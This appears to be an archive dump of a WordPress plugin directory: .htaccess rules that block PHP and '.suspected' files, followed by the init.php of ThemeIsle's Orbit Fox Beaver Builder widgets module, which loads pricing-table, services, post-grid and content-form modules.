RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>custom-fields/.htaccess000066600000000424151143413270011125 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>init.php000066600000005427151143413270006235 0ustar00<?php
/**
 * Beaver Builder modules Orbit Fox Module.
 *
 * @link       https://themeisle.com
 * @since      2.2.5
 */

define( 'BEAVER_WIDGETS_PATH', plugin_dir_path( __FILE__ ) );
define( 'BEAVER_WIDGETS_URL', plugins_url( '/', __FILE__ ) );

/**
 * Class Beaver_Widgets_OBFX_Module
 */
class Beaver_Widgets_OBFX_Module extends Orbit_Fox_Module_Abstract {

	/**
	 * Beaver_Widgets_OBFX_Module constructor.
	 *
	 * @since   2.2.5
	 * @access  public
	 */
	public function __construct() {
		parent::__construct();
		$this->name        = __( 'Page builder widgets', 'themeisle-companion' );
		$this->description = __( 'Adds widgets to the most popular builders: Elementor or Beaver. More to come!', 'themeisle-companion' );
		$this->active_default = true;
	}

	/**
	 * Determine if module should be loaded.
	 *
	 * @since   2.2.5
	 * @access  public
	 * @return bool
	 */
	public function enable_module() {
		require_once( ABSPATH . 'wp-admin' . '/includes/plugin.php' );
		return is_plugin_active( 'beaver-builder-lite-version/fl-builder.php' ) || is_plugin_active('bb-plugin/fl-builder.php');
	}

	/**
	 * The loading logic for the module.
	 *
	 * @since   2.2.5
	 * @access  public
	 */
	public function load() {
	}

	/**
	 * Method to define hooks needed.
	 *
	 * @since   2.2.5
	 * @access  public
	 */
	public function hooks() {
		$this->loader->add_action( 'init', $this, 'load_widgets_modules' );
		$this->loader->add_action( 'init_themeisle_content_forms', $this, 'load_content_forms' );
	}

	/**
	 * Method that returns an array of scripts and styles to be loaded
	 * for the front end part.
	 *
	 * @since   2.2.5
	 * @access  public
	 * @return array
	 */
	public function public_enqueue() {
		return array();
	}

	/**
	 * Method that returns an array of scripts and styles to be loaded
	 * for the admin part.
	 *
	 * @since   2.2.5
	 * @access  public
	 * @return array
	 */
	public function admin_enqueue() {
		return array();
	}

	/**
	 * Method to define the options fields for the module
	 *
	 * @since   2.2.5
	 * @access  public
	 * @return array
	 */
	public function options() {
		return array();
	}

	/**
	 * Require Beaver Builder modules
	 *
	 * @since   2.2.5
	 * @access  public
	 */
	public function load_widgets_modules(){
		if ( class_exists( 'FLBuilder' ) ) {
			require_once 'modules/pricing-table/pricing-table.php';
			require_once 'modules/services/services.php';
			require_once 'modules/post-grid/post-grid.php';
		}
	}

	/**
	 * If the content-forms library is available we should make the forms available for elementor
	 */
	public function load_content_forms() {
		if ( class_exists( '\ThemeIsle\ContentForms\ContactForm' ) ) {
			\ThemeIsle\ContentForms\ContactForm::instance();
			\ThemeIsle\ContentForms\NewsletterForm::instance();
			\ThemeIsle\ContentForms\RegistrationForm::instance();
		}
	}
}